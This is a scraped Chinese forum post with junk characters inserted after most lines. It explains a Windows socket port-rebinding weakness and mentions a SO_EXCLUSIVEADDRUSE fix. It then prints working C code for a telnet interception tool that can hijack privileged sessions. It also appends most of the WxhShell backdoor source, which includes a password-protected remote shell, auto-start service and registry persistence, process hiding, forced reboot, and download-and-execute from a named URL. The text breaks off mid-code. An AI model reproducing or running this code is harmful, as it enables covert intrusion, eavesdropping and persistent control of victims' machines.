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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5G$sP,n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a!OS2Tz:  
TgFj- "L\  
  saddr.sin_family = AF_INET; j%7N\Vb  
tXlo27J  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1Z. D3@  
hT c VMc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gmFCjs  
soSdlV{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /iz{NulOz*  
/Mac:;W`  
  这意味着什么?意味着可以进行如下的攻击: D/& 8[Z/Cn  
iR_j h=2{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }@+3QHwYU  
N*vBu `  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) '{e9Vh<x  
pb>TUKvT&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6oh\#v3zV  
:K-05$K  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U/9i'D[|{  
"4`i]vy8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5" 5tY  
"'# 18&N  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 osBwX.G'l  
w+,Kpb<x[0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ,RP"m#l!\  
G&eRhif  
  #include {=Z xF  
  #include >v sy P  
  #include MM+x}g.?  
  #include    8mrB_B5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Rw j4  
  int main() tWT ,U[  
  { mgO D J  
  WORD wVersionRequested; SVJL|S 3k  
  DWORD ret; O %x<  
  WSADATA wsaData; [:vH_(|  
  BOOL val; Z4&,KrV  
  SOCKADDR_IN saddr; O~wZU Zf  
  SOCKADDR_IN scaddr; pfs'2AFj  
  int err; r)4GH%+?fv  
  SOCKET s; TnuNoMD.  
  SOCKET sc; !+<OED=qe  
  int caddsize; Z}b25)  
  HANDLE mt; E:_m6 m  
  DWORD tid;   D'F j"&LK  
  wVersionRequested = MAKEWORD( 2, 2 ); 1KHFzx,  
  err = WSAStartup( wVersionRequested, &wsaData ); \3WF-!xe  
  if ( err != 0 ) { fN!ci']  
  printf("error!WSAStartup failed!\n"); :NHP,"  
  return -1; pm)kocG  
  } w)nFH)f  
  saddr.sin_family = AF_INET; 5c 8tH=  
   "7G>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q sXy(w#F  
4@qHS0$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); w<qn@f  
  saddr.sin_port = htons(23); [Dzd39aKr  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t\\oG H  
  { ZqONK^  
  printf("error!socket failed!\n"); PU& v{gn  
  return -1; B4l*]K%  
  } 2aDjt{7P  
  val = TRUE; `FJ2 ?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u0o}rA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %z9lCTmy  
  { $u ae8h  
  printf("error!setsockopt failed!\n"); `rWT^E@p5m  
  return -1; 5.IX  
  } > TKl`O  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tz6N,4J?  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 tPQjjoh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I`% ]1{  
B'AU~#d  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) XABB6J]  
  { SV?^i`  
  ret=GetLastError(); Y&![2o.Q  
  printf("error!bind failed!\n"); =ws iC'  
  return -1; Zy J-}[z  
  } B(eC|:w[z  
  listen(s,2); *wfb~&: }  
  while(1) Y<ZaW{%  
  { [iO*t, 3@h  
  caddsize = sizeof(scaddr); 5s7C;+  
  //接受连接请求 -ff@W m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ><HHO (74X  
  if(sc!=INVALID_SOCKET) )j_Y9`R  
  { [& d"Z2gK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,E._A(Z  
  if(mt==NULL) \>G:mMk/  
  { 0#/NZO  
  printf("Thread Creat Failed!\n"); \]Nt-3|`0  
  break; E!s?amM4  
  } R(1N]>  
  } q r<+@Q  
  CloseHandle(mt); ~43T$^<w;  
  } `[(.Q  
  closesocket(s); :TZ</3Sw  
  WSACleanup(); dlf nhf  
  return 0; _rN1(=J  
  }   ;_nV*G.y#^  
  DWORD WINAPI ClientThread(LPVOID lpParam) o8ERU($/  
  { n N_Ylw  
  SOCKET ss = (SOCKET)lpParam; -50 Nd=1  
  SOCKET sc; fZ6-ap,u  
  unsigned char buf[4096]; QnZ7e#@UP  
  SOCKADDR_IN saddr; eoGGWW@[  
  long num; yGs:3KI  
  DWORD val; |<aF)S4  
  DWORD ret; Y CBcyE}p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 GV"X) tGo  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V,?BVt  
  saddr.sin_family = AF_INET; 6?(Z f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); "J=A(w5   
  saddr.sin_port = htons(23); !A|ayYBb\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  %&81xAt  
  { 8 Buus  
  printf("error!socket failed!\n"); `,7;2ZG~O  
  return -1; vNn$dc  
  } D|gI3i  
  val = 100; g,O3\jjQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iq% 0fX  
  { I;5:jT`  
  ret = GetLastError(); C]f`  
  return -1; -LnNA`-  
  } -]-?>gkN5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `at>X&Ce,  
  { AnW72|=A(  
  ret = GetLastError(); u 6"v}gN  
  return -1; kKHGcm^r  
  } !]l!I9  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $j"TPkW{M  
  { |9;MP&68  
  printf("error!socket connect failed!\n"); Y2 oN.{IH  
  closesocket(sc); LvcGh  
  closesocket(ss); Mv1V Vk  
  return -1; ln*_mM/Q%  
  } '7ps_pz  
  while(1) ;XDGlv%  
  { OGGuVY  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7.!`c-8 u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fEYo<@5c]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |K11Woii  
  num = recv(ss,buf,4096,0); ?E|be )  
  if(num>0) =K`]$Og}8  
  send(sc,buf,num,0); FJC}xEMcN  
  else if(num==0) *D:"I!Ho  
  break; &`}8Jz=S  
  num = recv(sc,buf,4096,0); T/YvCbo  
  if(num>0) 2`V[Nb  
  send(ss,buf,num,0); `U6bI`l  
  else if(num==0) .8~zgpK  
  break; PpWn+''M  
  } SJd,l,Gg)  
  closesocket(ss); =AVr<kP  
  closesocket(sc); XT<{J8 0z  
  return 0 ; s4kkzTnXE3  
  } <ZwmXD.VD  
Rct=v DU  
8(kP=   
========================================================== G8hq;W4@]/  
c)Ep<W<r1  
下边附上一个代码,,WXhSHELL .KX LWH  
d~za%2{  
========================================================== Yd>ej1<  
Xt%>XP  
#include "stdafx.h" e nw7?|(  
3w!,@=.q  
#include <stdio.h> >ZjGs8&  
#include <string.h> 8^U+P%  
#include <windows.h> YgCSzW&(  
#include <winsock2.h> =zX A0%  
#include <winsvc.h> s<`54o ,  
#include <urlmon.h> SBog7An9SI  
y'21)P  
#pragma comment (lib, "Ws2_32.lib") LE>b_gQ$ 2  
#pragma comment (lib, "urlmon.lib") :,*{,^2q:  
u ^Ss8}d  
#define MAX_USER   100 // 最大客户端连接数 |j> fsk~  
#define BUF_SOCK   200 // sock buffer Xx;4  
#define KEY_BUFF   255 // 输入 buffer !^*-]p/z  
U%zZw)  
#define REBOOT     0   // 重启 oH vVZ  
#define SHUTDOWN   1   // 关机 $9In\ x  
\Bg?QhA_D  
#define DEF_PORT   5000 // 监听端口  `xm4?6  
 `GQ'yv  
#define REG_LEN     16   // 注册表键长度 Q4!6|%n8v  
#define SVC_LEN     80   // NT服务名长度 vb1Gz]~)>  
[;*Vm0>t  
// 从dll定义API =j$!N# L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %Tvy|L ,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ye^l~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); j+-+<h/(  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t w?\bB  
")?NCun>  
// wxhshell配置信息 A"W}l)+X  
struct WSCFG { gZ&' J\  
  int ws_port;         // 监听端口 C?47v4n-'  
  char ws_passstr[REG_LEN]; // 口令 0{'%j~"  
  int ws_autoins;       // 安装标记, 1=yes 0=no yG%<LP2p@f  
  char ws_regname[REG_LEN]; // 注册表键名 W%.ou\GN^t  
  char ws_svcname[REG_LEN]; // 服务名 p#6V|5~8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MRZ/%OZ.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *]]C.t-cd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 du0]LiHV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :Tu%0="ye  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" r1o_i;rg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I,0Z* rw  
=m6yH_`@  
}; ,U?W  
6~b]RZe7  
// default Wxhshell configuration QZ:xG:qyk;  
struct WSCFG wscfg={DEF_PORT, 0A. PfqYi  
    "xuhuanlingzhe", u{>_Pb  
    1, wO&2S-;_K  
    "Wxhshell", ++ZtL\h{7  
    "Wxhshell", 6;^ e  
            "WxhShell Service", TP-<Lhy  
    "Wrsky Windows CmdShell Service", H.R7,'9  
    "Please Input Your Password: ", n"P29"  
  1, jh3X G  
  "http://www.wrsky.com/wxhshell.exe",  SK&?s`  
  "Wxhshell.exe" YLO/J2['  
    }; JRT,%;*,  
*k%3J9=-1  
// 消息定义模块 e9e7_QG_-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $GcVI ;a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JLZ=$d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; MG6y  
char *msg_ws_ext="\n\rExit."; G"._]3 CPF  
char *msg_ws_end="\n\rQuit."; tUR9ti  
char *msg_ws_boot="\n\rReboot..."; >QJfTkD$  
char *msg_ws_poff="\n\rShutdown..."; y7x[noGtR  
char *msg_ws_down="\n\rSave to "; gJv;{;%  
y5AJ1A6?E  
char *msg_ws_err="\n\rErr!"; w6w'Jx  
char *msg_ws_ok="\n\rOK!"; cHO8%xu`  
|'bRVqJ  
char ExeFile[MAX_PATH]; V`;$Ua;y  
int nUser = 0; Ml Bw=Nr  
HANDLE handles[MAX_USER]; 7=gv4arRwt  
int OsIsNt; rt5eN:'qY  
wWU5]v  
SERVICE_STATUS       serviceStatus; RX DPT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fvUD'sx  
C"=^ (HU  
// 函数声明 xU5+"t~  
int Install(void); *[MK{m  
int Uninstall(void); _ o-lNt+  
int DownloadFile(char *sURL, SOCKET wsh); :a#p zEK  
int Boot(int flag); tEE1`10Mt  
void HideProc(void); Bt\z0*t=s  
int GetOsVer(void); i8Y$cac!  
int Wxhshell(SOCKET wsl); q%Fc?d9  
void TalkWithClient(void *cs); Ad@Odx=o*R  
int CmdShell(SOCKET sock); _a e&@s1  
int StartFromService(void); =cN! h"C[  
int StartWxhshell(LPSTR lpCmdLine); EE<^q?[3^  
^Nu0+S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \h&ui]V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); -< 0PBl  
<m|\#Jw_V  
// 数据结构和表定义 h)746T )  
SERVICE_TABLE_ENTRY DispatchTable[] = P4~=_Hh  
{ ggR--`D[  
{wscfg.ws_svcname, NTServiceMain}, .{@aQwN  
{NULL, NULL} xWa96U[  
}; Qn*a#]p  
 p@se 5~  
// 自我安装 `Rc7*2I)l  
int Install(void) d*A(L5;@  
{ [3#A)#kWm  
  char svExeFile[MAX_PATH]; e~wJO~  
  HKEY key; %488"  
  strcpy(svExeFile,ExeFile); k'd(H5A   
7w U$P  
// 如果是win9x系统,修改注册表设为自启动 4[eQ5$CB<u  
if(!OsIsNt) { s.)nS $  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SB3= 5"q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?<#2raH-  
  RegCloseKey(key); Y^(Sc4 W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H%*< t}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P(Fd|).j$  
  RegCloseKey(key); RRBokj)]  
  return 0; 3Q@HP;<  
    } Q6|~ks+Y  
  } q~K KN /N  
} Po: )b  
else { BRx`83CK  
,VM)ZK=Tr  
// 如果是NT以上系统,安装为系统服务 c&o|I4|Y,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3N ]  
if (schSCManager!=0) )38M~/ ^l  
{ us^2Oplq<  
  SC_HANDLE schService = CreateService N{f4-i~  
  ( u*<G20~A  
  schSCManager, K^_Mt!%  
  wscfg.ws_svcname, 1YklPMx6  
  wscfg.ws_svcdisp, H$/r{gfg^  
  SERVICE_ALL_ACCESS, h]#wwJF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +gQn,HX  
  SERVICE_AUTO_START, [uh$\s7  
  SERVICE_ERROR_NORMAL, | Ts0h?"a  
  svExeFile,  ThLnp@  
  NULL, < Y(lRM{  
  NULL, V|h/a\P  
  NULL, z>f>B6  
  NULL, >9S@:?^&q>  
  NULL c QjzI#  
  ); Wy'H4Rg8  
  if (schService!=0) +Y^_1  
  { (v\Cv)OS  
  CloseServiceHandle(schService); B`/c Kfg  
  CloseServiceHandle(schSCManager); ]/p)XHKo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p$5+^x'(  
  strcat(svExeFile,wscfg.ws_svcname); r`THOj\cM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { j|u6TG  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NTHy!y<!h  
  RegCloseKey(key); _Vs\:tygs  
  return 0; Nz ,8NM]  
    } WaV P+Ap  
  } 0wzq{~\{=_  
  CloseServiceHandle(schSCManager); S'I{'jP5  
} +;}XWV  
} f8Xe%"<  
Z]I[?$y  
return 1; jZm57{C#*?  
} % mhnd):  
Y2DR oQ  
// 自我卸载 NY5?T0/[  
int Uninstall(void) #l(cBM9sz  
{ ?5%|YsJP_  
  HKEY key; {&'u1yR  
!zw)! rV=  
if(!OsIsNt) { I\6u(;@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OOEmXb]8  
  RegDeleteValue(key,wscfg.ws_regname); SOyE$GoOsx  
  RegCloseKey(key); !KUV ,>L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Di3<fp#w#  
  RegDeleteValue(key,wscfg.ws_regname); 4No!`O-!&  
  RegCloseKey(key); );^] is~  
  return 0; GHMoT  
  } "G8w}n:y  
} v@43 %`"Gj  
} tNskB`541  
else { 0Wf,SYx`s  
}Om+,!_d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "e4hPY#  
if (schSCManager!=0) %}U-g"I  
{ x}.Q9L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iB Ld*B|#K  
  if (schService!=0) GRanR'xG  
  { J^@0Ff;=5^  
  if(DeleteService(schService)!=0) { HR85!S`  
  CloseServiceHandle(schService); rurC! -  
  CloseServiceHandle(schSCManager); 4s<*rKm~  
  return 0; pcM'j#;  
  } |M?yCo  
  CloseServiceHandle(schService); =H_|007C  
  } t(4%l4i;X  
  CloseServiceHandle(schSCManager); OBF2?[V~  
} %bnDxCj"  
} '"H'#%RU  
QD0upYG  
return 1; 0Ts[IHpg&E  
} 5@$b@jTd  
M]?#]3XBNo  
// 从指定url下载文件 "+js7U-  
int DownloadFile(char *sURL, SOCKET wsh) -f.<s!a  
{ Tc6H%itV  
  HRESULT hr; PrIS L[@  
char seps[]= "/"; !b"#`O%`  
char *token; 6g*B=d(j  
char *file; cH()Ze-B  
char myURL[MAX_PATH]; yfS`g-j{~  
char myFILE[MAX_PATH]; jXO*_R  
-WIT0F4o;  
strcpy(myURL,sURL); M"OX NPkc  
  token=strtok(myURL,seps); $/%|0tQ  
  while(token!=NULL) jUq^$+N  
  { /@5X0m  
    file=token; #c5 NFU}9  
  token=strtok(NULL,seps); So*Q8`"-.  
  } klG]PUzd  
3S-nsMs.  
GetCurrentDirectory(MAX_PATH,myFILE); .c'EXuI7),  
strcat(myFILE, "\\"); ~y+QL{P4~  
strcat(myFILE, file); %C%~f {4  
  send(wsh,myFILE,strlen(myFILE),0); T`{W$ 4XS  
send(wsh,"...",3,0); goi5I(yn^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,TTt<&c  
  if(hr==S_OK) r >:7)p!|  
return 0; 8|A*N< h  
else O2E6F^.pYw  
return 1; 8CxC`*L(  
C7`FM@z  
} 1(`>9t02/?  
U:eahK  
// 系统电源模块 ?d1H]f<M  
int Boot(int flag) T?W`g> yM  
{ 3 tMFJ ;*`  
  HANDLE hToken; iWu$$IV?-  
  TOKEN_PRIVILEGES tkp; |1G/J[E  
U}7 a;4?  
  if(OsIsNt) { " 1YARGu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tL1"Dt>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u>j:8lhtV  
    tkp.PrivilegeCount = 1; x68$?CD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; sm-RpZ&|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "Y 9 *rL  
if(flag==REBOOT) { Exox&T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2H8,&lY.p  
  return 0; xX`P-h>V`c  
} (eI'%1kS<  
else { N3Ub|$}q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o'@VDGS`  
  return 0; v V:eU-a  
} jE.U~D)2YF  
  } 9u/"bj  
  else { T_:"~ ]  
if(flag==REBOOT) { w{3 B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [k(oQykq  
  return 0; c *(]pM  
} +Sk;  
else { \+mc   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) az~4sx$+}  
  return 0; XM$r,}B k  
} k 41lw^Jh  
} vW`{BWd  
[1@ -F+  
return 1; _"%ef"oPh  
} yw`xK2(C$  
|HXI4 MU"  
// win9x进程隐藏模块 X62h7?'Pd  
void HideProc(void) 'u$e2^  
{ s4bLL  
[)|P-x-<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |a#4  
  if ( hKernel != NULL ) QT/TZ:  
  { ++-\^'&1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0n+Wv @/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U@dztX@u  
    FreeLibrary(hKernel); r# 5))q-  
  } ?fDF Rms  
a?CV;9   
return; 2xH9O{  
} Ob2H7 !  
@a) x^d  
// 获取操作系统版本 pPm[<^\#S  
int GetOsVer(void) E_]L8UC;m  
{ /w{DyHT  
  OSVERSIONINFO winfo; #r; ' AG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .w^M?}dx  
  GetVersionEx(&winfo); /u{ 9UR[g  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  L3P_  
  return 1; =NwmhV  
  else Me[T=Tt`@w  
  return 0; .Ya]N+r*  
} C)/uX5  
K:fK! /  
// 客户端句柄模块 RG|]Kt8  
int Wxhshell(SOCKET wsl) ?V%x94B  
{ EO$_]0yI;_  
  SOCKET wsh; $;Lb|~  
  struct sockaddr_in client; 1SeDrzLA  
  DWORD myID; (UPkb$Qc  
3}}~(  
  while(nUser<MAX_USER) d paZ6g  
{ 2`/JT  
  int nSize=sizeof(client); wy"^a45h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ET1/oG<@  
  if(wsh==INVALID_SOCKET) return 1; I&qT3/SVI  
Ce}wgKzr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oqHI`Tu  
if(handles[nUser]==0) .|$6Pi%!  
  closesocket(wsh); oX@nWQBc_  
else (L_txd4  
  nUser++; e~jw YImA  
  } 'WkDp a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); di}YHMTx  
:)X?ML?  
  return 0; q[1:h  
} \2)a.2mAz  
!r$?66q/  
// 关闭 socket Z{7lyEzBg  
void CloseIt(SOCKET wsh) ;AK;%  
{ g2.%x \d  
closesocket(wsh); " & 'Jw  
nUser--; v;AMx-_WH  
ExitThread(0); ]W3D4Swq  
} Xjc{={@p3  
\ Xow#@[  
// 客户端请求句柄 E6|!G  
void TalkWithClient(void *cs) > tXn9'S  
{ Fy5xIRyI\F  
?I&ha-."  
  SOCKET wsh=(SOCKET)cs; |3W\^4>,  
  char pwd[SVC_LEN]; .j:[R.  
  char cmd[KEY_BUFF]; +ia  F$  
char chr[1]; !fr /WxJ  
int i,j; .g_B KeU  
-Czq[n=0(  
  while (nUser < MAX_USER) { [4sI<aH  
J Sz'oA5  
if(wscfg.ws_passstr) { ,A9pj k'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ps5UX6\ .m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZYZQ?FN  
  //ZeroMemory(pwd,KEY_BUFF); LivPk`[  
      i=0; I <`9ANe  
  while(i<SVC_LEN) { 6*%3O=*  
8WK%g0gm  
  // 设置超时 WJCEiH  
  fd_set FdRead; )nU%}Z  
  struct timeval TimeOut; q/~U[.C  
  FD_ZERO(&FdRead); SHS:>V  
  FD_SET(wsh,&FdRead); rXXIpQRi$S  
  TimeOut.tv_sec=8; [,)yc/{*  
  TimeOut.tv_usec=0; De,4r(5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @=q,,t$r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e|u|b  
X~t]qT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XH&Fn+  
  pwd=chr[0]; 3>qUYxG8  
  if(chr[0]==0xd || chr[0]==0xa) { cGiS[-g  
  pwd=0; I`w1IIY?m  
  break; !4d6wp"  
  } J;4x-R$W  
  i++; L+2!Sc,>  
    }  ::Y   
4mSL*1j  
  // 如果是非法用户,关闭 socket J8I_tF6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =\.Oc+p4  
} R[ p. )F7  
itb0dF1G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MJ'|$b}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E;\XZ<E  
),%/T,!@  
while(1) { |E$Jt-'  
5&q@;vR  
  ZeroMemory(cmd,KEY_BUFF); {bnNY  
B~oSKM%8R  
      // 自动支持客户端 telnet标准   HVaWv].  
  j=0; 9k=-8@G9  
  while(j<KEY_BUFF) { ;V]EF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gv$6\1  
  cmd[j]=chr[0]; V_jVVy30Ji  
  if(chr[0]==0xa || chr[0]==0xd) { aCzdYv\}&  
  cmd[j]=0; 1><\3+8  
  break; j(/Bf m  
  } G%~=hEK0  
  j++; .kh%66:  
    } e\ i K  
T5_z^ 7d  
  // 下载文件 <S I& e/  
  if(strstr(cmd,"http://")) { .QOQqU*2I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :"? boA#L  
  if(DownloadFile(cmd,wsh)) QA7SQ cd,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <cG .V |B  
  else P lJl#-BO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2h0I1a,7  
  } oZ95)'L,  
  else { opTDW)  
OQ"%(w>Hb  
    switch(cmd[0]) { Z0T{1YEJ  
  b3}928!D-@  
  // 帮助 /=Bz[ O  
  case '?': { <y5V],-U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X.<_TBos|  
    break; b2c% 0C  
  } Ry*NRP;  
  // 安装 8>a/x,  
  case 'i': { {Pm^G^EP  
    if(Install()) ?l#9ydi?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rm2"pfs  
    else %98F>wl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '8>h4s4  
    break; @!6eRp>Z  
    } c 2j?<F1  
  // 卸载 L(Q v78F  
  case 'r': { r4caIV  
    if(Uninstall()) |`T3H5X>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <$Q\vCR  
    else 4S|! iOY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ])h={gI  
    break; G?12?2  
    } pv039~Sud  
  // 显示 wxhshell 所在路径 f" Yj'`6  
  case 'p': { j{N;2#.u  
    char svExeFile[MAX_PATH]; Z'dY,<@  
    strcpy(svExeFile,"\n\r"); TuY{c%qQ:  
      strcat(svExeFile,ExeFile); \W;~[-"#  
        send(wsh,svExeFile,strlen(svExeFile),0); ~L Gkc t  
    break; ElAJR4'{*i  
    } adtK$@Yeg  
  // 重启 B' 6^E#9  
  case 'b': { awuUaE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z y@35;r  
    if(Boot(REBOOT)) %Q"zU9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0?l|A1I%   
    else { Qfo'w%px  
    closesocket(wsh); H4 Y7p  
    ExitThread(0); :Bp{yUgi@  
    } M`\c'|i/  
    break; '"QC^Joz  
    } >U~.I2sz  
  // 关机 "{;]T  
  case 'd': { AWC zu5ve  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^T"9ZBkb  
